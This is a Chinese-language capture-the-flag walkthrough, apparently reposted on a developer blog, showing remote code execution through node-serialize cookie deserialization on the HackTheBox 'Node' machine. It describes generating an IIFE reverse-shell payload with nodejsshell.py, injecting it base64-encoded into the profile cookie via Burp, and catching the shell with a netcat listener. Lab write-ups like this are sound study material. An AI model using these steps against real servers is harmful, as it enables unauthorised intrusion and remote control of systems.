内容简介：目标机- Hackthebox节点机(10.10.10.85:3000)攻击者机器- Kali linux需要的工具- nodejs, npm, [nodejs工具包]，node-serialize
演示环境
目标机- Hackthebox节点机(10.10.10.85:3000)
攻击者机器- Kali linux
需要的工具- nodejs, npm, [nodejs工具包]，node-serialize
关于反序列化攻击
不受信任的数据被传递到 unserialize() 函数，这导致我们可以绕过 JavaScript 对象的函数表达式 IIFE 来实现任意的代码执行。首先我们在 apt-get 命令下安装nodejs包，如下所示： apt-get install nodejs
在下一步中，您需要在CURL命令下安装 npm 程序（使用npm 进一步安装 node-serialize 包），如下所示： curl -L https://www.npmjs.com/install.sh | sh
安装和配置完Nodejs和Npm之后，还要安装 node-serialize 包，输入 “ npm install node-serialize ” ，如下所示：
我们已经与HacktheBox服务器连接，其服务器的IP为10.10.10.85:3000（运行Nodejs Express Framework，您可以使用Nmap Scanning进一步确认） 。
第一步，我们使用Burp Suite捕获上述Nodejs的GET请求，如下所示：
这个漏洞在于，它从HTTP请求中读取一个名为 profile 的 cookie 值，并对cookie值进行base64解码，并将其传递给 unserialize() 函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。
git clone https://github.com/ajinabraham/Node.Js-Security-Course.git
“ ifconfig ”`` 找出IP ，然后运行以下命令： python nodejsshell.py 10.10.14.145 4443`
现在让我们使用以下javascript生成序列化的payload
代码如下
var y = { rce : function() {} } var serialize = require(‘node-serialize’); console.log(“Serialized: \n” + serialize.serialize(y));
用大括号 { eval（String.from ......... } ）添加上面的 payload 输出，如下所示：
将文件另存为 exploit.js 并使用node命令运行，该命令生成最终的序列化payload，如下所示： node exploit.js
现在回到BurpSuite，导航到Decoder选项卡，将上面的输出代码粘贴到Textarea中，解码之前，在函数体后添加IIFE方括号()，在这里，我们需要Base64的编码，然后在Cookie头值中使用编码的payload向web服务器发出请求。
然后使用Repeater发送相同的请求。
在Repeater选项中，您需要将cookie值替换为我们从上面步骤生成的base64编码值，然后单击 GO 按钮。
同时，确保你的netcat服务在相同的端口上监听，例如4443(它的反向 shell 负载端口是相同的) nc -lvp 4443 。
一旦你单击Go按钮，请求将命中到服务器，显示 200 OK 响应，并显示一条错误消息 “ 发生错误...无效的用户名类型 ” ，并立即在netcat终端中与该服务器连接，状态为 “ 已连接” “ 。
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
Sprint
Jake Knapp、John Zeratsky、Braden Kowitz / Simon & Schuster / 2016-3-8 / GBP 14.60
媒体推荐 “Every business leader I know worries about the same thing: Are we moving fast enough? The genius of Jake Knapp’s Sprint is its step-by-step breakdown of what it takes to solve big problems an......一起来看看 《Sprint》 这本书的介绍吧!
